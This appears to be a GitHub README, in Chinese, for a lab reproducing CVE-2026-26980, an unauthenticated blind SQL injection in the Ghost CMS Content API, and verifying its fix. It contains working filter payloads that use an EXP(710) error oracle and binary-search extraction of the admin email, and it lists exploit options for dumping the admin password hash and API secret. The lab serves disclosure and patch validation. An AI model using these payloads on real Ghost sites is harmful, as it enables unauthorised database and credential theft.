dinosn/ghost-cve-2026-26980

GitHub: dinosn/ghost-cve-2026-26980

演示 Ghost CMS 内容 API 的无认证盲 SQL 注入漏洞及其修复验证的实验项目。

Stars: 0 | Forks: 0

# CVE-2026-26980 — Ghost CMS 内容 API SQL 注入实验 通过 Ghost CMS 内容 API 的 slug 过滤排序机制实现无认证盲 SQL 注入,无需凭证即可从任意 Ghost 实例读取数据库。 | | | |---|---| | **CVE** | [CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980) | | **Advisory** | [GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97) | | **CVSS** | 9.4 (严重) | | **CWE** | CWE-89 (SQL 注入) | | **受影响版本** | Ghost 3.24.0 -- 6.19.0 | | **已修复** | Ghost 6.19.1 | | **认证要求** | 无(内容 API 密钥默认公开) | | **贡献者** | 使用 Claude、Anthropic 的 Nicholas Carlini | ## 概述 Ghost 的内容 API 支持使用数组表示法按 slug 过滤标签和文章:`filter=slug:[tag-a,tag-b]`。内部辅助函数会构建 `ORDER BY CASE` 语句以保持请求的 slug 顺序。在 v6.19.1 之前,用户提供的 slug 值会直接插值到 SQL 中而未进行参数化: ``` // ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE) order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `; ``` 内容 API 密钥嵌入每个 Ghost 站点的 HTML(`data-key="..."`)中,使其成为完全的无认证攻击面。 ## 漏洞机制 ### NQL 绕过 Ghost 的 NQL 查询语言会验证过滤输入并拒绝原始单引号或空格。然而,NQL 接受用单引号包裹的值(`slug:['value']`),并将引号作为字面量的一部分传递。`slugFilterOrder` 正则表达式提取这些值(包括引号)并将其插值到 SQL 中: ``` Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news] ^ ^ NQL passes quotes through as literal chars ``` ### 生成的 SQL 插值后,ORDER BY 变为: ``` CASE WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0 WHEN `tags`.`slug` = 'news' THEN 1 END ASC ``` 在 MySQL 的默认 SQL 模式下,`||` 表示 `OR`,`''` 为假值。这为我们提供了一个清晰的布尔型盲注: | 条件 | CASE 结果 | 效果 | |---|---|---| | TRUE | `'' OR 0 OR ''` = 0 | 正常响应(HTTP 200) | | FALSE | `'' OR EXP(710) OR ''` | DOUBLE 溢出错误(HTTP 500) | ### 数据提取 建立盲注后,可使用标准的二分搜索盲注提取数据: ``` slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news] ``` `SUBSTR(... FROM pos FOR len)` 语法避免了逗号(因为 `slugFilterOrder` 按逗号分割)。 ## 修复(v6.19.1) 修复方案将字符串插值替换为参数化绑定: ``` // FIXED caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`); bindings.push(slug.trim(), index); ``` `crud.js` 插件已更新以通过 `orderByRaw` 传递绑定参数,并且 `@tryghost/bookshelf-plugins` 已升级到 0.6.29,该版本增加了绑定支持。 ## 实验环境搭建 ### 先决条件 - Docker & Docker Compose - Python 3.8+ 及 `requests` ### 快速启动 ``` # 克隆并进入实验环境 git clone && cd ghost-cve-2026-26980 # 安装 Python 依赖 pip install -r requirements.txt # 启动易受攻击的 Ghost 实例(6.18.0 + MySQL 8) docker compose up -d # 等待约 45 秒让 Ghost 初始化,然后运行利用程序 python3 exploit.py --url http://localhost:2368 ``` ### 验证修复 ``` # 同时在端口 2369 上启动已修补的 Ghost 6.19.1 docker compose --profile fixed up -d # 等待约 45 秒,然后确认修复阻止了注入 python3 exploit.py --url http://localhost:2369 --validate-fix ``` ### 一键验证 ``` bash validate.sh ``` ### 清理 ``` docker compose --profile fixed down -v ``` ## 利用示例 ``` usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password] [--extract-api-key] [--content-key KEY] [-v] options: --url URL Ghost URL (default: http://localhost:2368) --validate-fix Confirm the target is NOT vulnerable --extract-password Also extract admin bcrypt hash --extract-api-key Also extract admin API secret --content-key KEY Skip setup, use this Content API key directly -v, --verbose Show per-query oracle results ``` ### 示例输出 ``` ==================================================== CVE-2026-26980 — Ghost CMS Content API SQL Injection ==================================================== [*] Waiting for Ghost at http://localhost:2368 ready [*] Setting up Ghost (admin: admin@ghost-poc.local) [+] Setup complete — establishing session [+] Logged in [+] Content API key: ad63c06a71457583ea58f050c1 [+] Anchor slug: news [*] Phase 1 — boolean blind verification CASE WHEN 1=1: 200 (TRUE) CASE WHEN 1=0: 500 (FALSE) [+] Boolean oracle confirmed — VULNERABLE [*] Phase 2a — extracting admin email Measuring length of admin email... 21 chars Extracting: admin@ghost-poc.local [+] Email: admin@ghost-poc.local ============================================================ EXPLOITATION SUMMARY ============================================================ Target: http://localhost:2368 CVE: CVE-2026-26980 Content key: ad63c06a71457583ea58f050c1 Admin email: admin@ghost-poc.local ============================================================ ``` ## v6.19.1 同时修复:CVE-2026-29053(主题 RCE) 同一版本中还修复了第二个漏洞。Ghost 的 `{{#get}}` Handlebars 辅助函数使用依赖 `static-eval` 的 `jsonpath` 包解析路径表达式。恶意主题可通过表达式触发 `Function()`,实现服务器端代码执行。 | | | |---|---| | **CVE** | CVE-2026-29053 | | **受影响版本** | Ghost 0.7.2 -- 6.19.0 | | **认证要求** | 管理员(主题上传) | | **修复方式** | 将 `jsonpath` 替换为仅支持点表示法、`[N]` 和 `[*]` 的受限 `querySimplePath()` 函数 | 本实验聚焦于 CVE-2026-26980,因为它无需认证且对外部攻击者影响更大。 ## 文件 ``` . ├── README.md # This file ├── docker-compose.yml # Ghost 6.18.0 (vuln) + 6.19.1 (fixed) with MySQL 8 ├── exploit.py # Full PoC: setup, verify, extract ├── validate.sh # End-to-end validation wrapper └── requirements.txt # Python dependencies ``` ## 参考 - [Ghost 安全公告 GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97) - [NVD 条目 CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980) - [修复提交:内容 API slug 过滤排序中的 SQL 注入](https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91) - [修复提交:替换 jsonpath 为自定义路径解析器](https://github.com/TryGhost/Ghost/commit/cf31ddfbecc600448578765e1d4f4ae8f1442ade) - [CVE-2026-29053 撰写(Hidden Investigations)](https://hiddeninvestigations.net/blog/remote-code-execution-in-ghost-cms-cve-2026-29053-when-a-theme-becomes-a-server-side-execution-primitive) ## 许可证 本实验在 MIT 许可证下提供,仅用于教育和授权的安全测试。
标签:API安全, CISA项目, CVE-2026-26980, Ghost CMS, JSON输出, NQL绕过, ORDER BY CASE, slug过滤, Web安全, 内容API, 安全测试, 攻击性安全, 数据库读取, 无线安全, 无认证攻击, 未参数化插值, 漏洞分析, 盲注, 网络安全审计, 蓝队分析, 请求拦截, 路径探测, 逆向工具